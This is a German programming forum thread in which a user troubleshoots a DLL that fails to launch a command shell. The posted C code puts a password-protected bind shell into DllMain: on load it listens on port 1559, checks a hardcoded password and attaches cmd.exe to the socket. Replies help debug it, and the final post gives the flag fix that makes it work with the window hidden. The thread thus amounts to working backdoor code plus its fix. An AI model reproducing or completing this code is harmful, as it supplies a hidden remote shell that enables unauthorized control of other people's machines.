CreateProcess aus einer dll



  • Hi,

    ich versuche die cmd.exe an einen Socket zu binden das ganze funktionierte als Win32ConsoleApplication einwandfrei. Nun wollte ich einen dll draus basteln nur funktioniert das leider nicht.

    Es muss an folgendem Codeabschnitt liegen denn den Banner empfange ich noch. Also der Verbindungsaufbau zum WSASocket funktioniert.

    BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID _Reserved){
    [...]
     			 si.cb = sizeof(si);
      			si.dwFlags = STARTF_USESTDHANDLES;
      			si.hStdInput = si.hStdOutput = si.hStdError = (void *)connectedSocket;
      			CreateProcess(NULL,"cmd",NULL,NULL,1,NULL,NULL,NULL,&si,&pi);
    [...]
    

    Fehlen einer dll evtl Rechte zum Ausführen von CreateProcess ?

    MFG ch



  • c°h° schrieb:

    Fehlen einer dll evtl Rechte zum Ausführen von CreateProcess ?

    bau mal ein 'GetLastError()' nach 'if (0 == CreateProcess(...))' ein. vielleicht bekommste dann raus was da faul ist.



  • 1. Einer DLL fehlen keine Rechte
    2. Lies mal die Docu zu "DllMain" (und schmeiss Deinen Code da bitte raus, wenn er Dinge aus anderen DLLs als kernel32 benötigt!)
    3. Du kannst auch mal die Rückgabewerte und GetLastError uns mitteilen...



  • Habs eingebaut bekomme den Fehlercode 998

    auf der MSDN Seite finde ich nichts zu der Fehlernummer.

    http://msdn.microsoft.com/library/default.asp?url=/library/en-us/wcekernl/html/_wcesdk_win32_createprocess.asp

    mfg



  • Hab noch etwas gegoogled:

    998 (ERROR_NOACCESS)
    Der Windows NT-Statuscode STATUS_ACCESS_VIOLATION wird dem Win32-Fehlercode ERROR_NOACCESS zugeordnet.

    Also war meine Annahme nicht allzu verkehrt, nur wie besorge ich mir ausreichend Rechte?

    tia mfg ch



  • c°h° schrieb:

    ERROR_NOACCESS

    das kann irgendwie mit falschen security descriptoren zusammenhängen. stammt das socket-handle aus dem gleichen prozess, der CreateProcess() aufruft?

    c°h° schrieb:

    STATUS_ACCESS_VIOLATION

    das könnte auch ein speicherzugriffsfehler sein



  • Zeig mal den *ganzen* Code aus der DllMain. Und dann wirf ihn da raus...



  • Ok hier ist mein Code ( Simple Shell mit Passwortabfrage )

    #define _WINSOCKAPI_
    #include <winsock2.h>
    #include <windows.h>
    #include <stdio.h>
    
    #pragma comment(lib,"ws2_32")
    
    BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID _Reserved){
    
    	long rc;
    	SOCKET acceptSocket;
    	SOCKET connectedSocket;
    	SOCKADDR_IN addr;
    	WSADATA wsa;
    	STARTUPINFO si;
    	PROCESS_INFORMATION pi;
    	char buf[256];
    
        while(1){
    
     		rc=WSAStartup(MAKEWORD(2,0),&wsa);
    		if(rc!=0){
      			//printf("Fehler: startWinsock, fehler code: %d\n",rc);
    			return false;
      		}
    
      		acceptSocket=WSASocket(AF_INET,SOCK_STREAM,0,NULL,NULL,NULL);
    
      		if(acceptSocket==INVALID_SOCKET){
        		//printf("Fehler: Der Socket konnte nicht erstellt werden, fehler code: %d\n",WSAGetLastError());
        		return false;
      		}
    
      		memset(&addr,0,sizeof(SOCKADDR_IN));
    
      		addr.sin_family=AF_INET;
     		addr.sin_port=htons(1559);
     		addr.sin_addr.s_addr=ADDR_ANY;
    
      		rc=bind(acceptSocket,(SOCKADDR*)&addr,sizeof(SOCKADDR_IN));
    
      		if(rc==SOCKET_ERROR){
    			//printf("Fehler: bind, fehler code: %d\n",WSAGetLastError());
    			return false;
      		}
    
      		rc=listen(acceptSocket,10);
      		if(rc==SOCKET_ERROR){
      			//printf("Fehler: listen, fehler code: %d\n",WSAGetLastError());
      			return false;
      		}
    
      		connectedSocket=accept(acceptSocket,NULL,NULL);
    
      		if(connectedSocket==INVALID_SOCKET){
      			//printf("Fehler: accept, fehler code: %d\n",WSAGetLastError());
      			return false;
      		}
    
      		rc=recv(connectedSocket,buf,10,0);
    
    		if(strncmp(buf,"passwort",8)==0){
    
    			rc=send(connectedSocket,"Banner",6,0);
    
      			//socketstream wird mit cmd.exe stream verbunden
      			si.cb = sizeof(si);
      			si.dwFlags = STARTF_USESTDHANDLES;
      			si.hStdInput = si.hStdOutput = si.hStdError = (void *)connectedSocket;
      			CreateProcess(NULL,"cmd",NULL,NULL,1,NULL,NULL,NULL,&si,&pi);
    
    			sprintf(buf,"Fehler %d",GetLastError());
    			rc=send(connectedSocket,buf,strlen(buf),0);
    
      			WaitForSingleObject(pi.hProcess,INFINITE); //warte bis prozess terminiert
    		}
      		closesocket(acceptSocket);
      		closesocket(connectedSocket);
    		WSACleanup();
    	}
    
        return true;
    }
    

    Aber wieso soll der Code aus der dllMAIN raus?

    mfg



  • Es ist nicht erlaubt irgendwelche Funktionen aus anderen DLLs als der kernel32.dll aufzurufen (Punkt).
    Deshalb ist Dein Scenario nicht zulässig.
    Lies Dir bitte die Doku zu "DllMain" durch...
    http://msdn.microsoft.com/library/en-us/dllproc/base/dllmain.asp

    DllMain schrieb:

    Calling functions that require DLLs other than Kernel32.dll may result in problems that are difficult to diagnose.

    Ganz nebenbei: Es ist empfohlen den kompletten Pfad zur EXE anzugeben (mit Dateiendnung), sonst geht es vermutlich sowieso nicht... (siehe COMSPEC Umgebungsvariable)



  • Vielen Dank

    ich lese mich erstmal ein ( hast recht ich hab einfach drauf losprogrammiert 😉 )



  • Habs ich musste die Flags anders setzen:

    si.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW | STARTF_FORCEOFFFEEDBACK;
    

    danke nochmal


Anmelden zum Antworten